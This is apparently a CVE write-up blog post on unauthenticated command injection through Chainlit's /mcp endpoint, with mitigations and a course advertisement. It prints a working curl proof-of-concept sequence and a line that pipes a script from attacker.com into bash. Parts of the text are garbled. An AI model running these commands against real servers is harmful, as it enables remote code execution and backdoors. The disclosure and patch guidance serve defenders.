Listen to this Post
When Chainlit’s MCP feature is enabled via `features.mcp.enabled = true` in .chainlit/config.toml, the `/mcp` endpoint becomes active and accepts a `POST` request with a JSON body containing a `fullCommand` string for stdio transport. The backend function `validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse this string and only checks the first token (the executable name) against a configurable allowlist (config.features.mcp.stdio.allowed_executables). However, it does not validate or sanitise the arguments that follow. This allows an attacker to supply a command like `npx -y -c ‘arbitrary shell command’` — because `npx` is a valid executable name that passes the allowlist check, and the `-c` flag lets `npx` execute any shell command. The unchecked arguments are passed directly to StdioServerParameters, which spawns a subprocess, resulting in arbitrary OS command execution on the server with the privileges of the Chainlit process. Crucially, the `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime MCP enable flag and, if configured, authentication prevent exploitation. Additionally, if the `allowed_executables` configuration key is omitted, the default is None, which the validation code interprets as “allow everything,” widening the attack surface. This flaw exists in versions from 2.4.0rc0 up to (but not including) 2.12.0. Since MCP is disabled by default since v2.7.0, only explicit opt‑in deployments are vulnerable. No authentication is required to reach /mcp; any client that can establish a Socket.IO session can send the malicious payload. The impact is critical: an unauthenticated remote attacker can execute arbitrary OS commands, leading to full host compromise, data exfiltration, lateral movement, and persistent backdoors. The fix in Chainlit 2.12.0 completely removes `fullCommand` from the client request; MCP servers are now defined statically in the config file and referenced by name, so the command string never comes from the client.
DailyCVE Form:
Platform: Chainlit
Version: >=2.4.0rc0,<2.12.0
Vulnerability: Command Injection
Severity: Critical
date: 2026-08-25
Prediction: 2026-08-25
What Undercode Say:
Analytics showing bash commands and codes related to the blog
– Check if MCP is enabled: `grep ‘features.mcp.enabled’ .chainlit/config.toml`
– Test reachability: `curl -s -o /dev/null -w “%{http_code}” http://TARGET:8000/mcp`
– Full PoC sequence (from the ):
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
curl -s -X POST 'http://TARGET:8000/mcp' -H 'Content-Type: application/json' -d '{"sessionId":"rce-proof","clientType":"stdio","name":"poc","fullCommand":"npx -y -c '\''id > /tmp/rce_proof'\''"}'
– Verify execution: `ls -la /tmp/rce_proofon the server.npx -y -c ‘curl http://attacker.com/backdoor.sh | bash’`.
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
- Establish a Socket.IO session and obtain a valid `sessionId` (as shown above).
- Send a POST request to `/mcp` with a `fullCommand` that uses `npx -y -c` to run any shell command, e.g.,
– The server will execute the command with the privileges of the Chainlit process before the MCP handshake fails. The output can be redirected or exfiltrated.
Protection: from this CVE
- Immediate workaround: set `features.mcp.enabled = false` in `.chainlit/config.toml` to disable MCP entirely.
- If MCP is required, configure authentication (register an auth callback) so that `/mcp` requires an authenticated session – this removes the unauthenticated attack vector.
- Restrict outbound process spawning and network capabilities from the host running Chainlit.
- Upgrade to Chainlit 2.12.0 (released 2026-08-25), which removes the vulnerable `fullCommand` parameter and adopts a static server configuration model. Note: this is a breaking change; migration is required if legacy MCP sections exist in the config.
Impact:
Critical. Unauthenticated remote code execution on the server, allowing full compromise of the host, access to sensitive data, lateral movement within the internal network, and installation of persistent backdoors. All Chainlit deployments with MCP enabled are affected until patched or mitigated.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
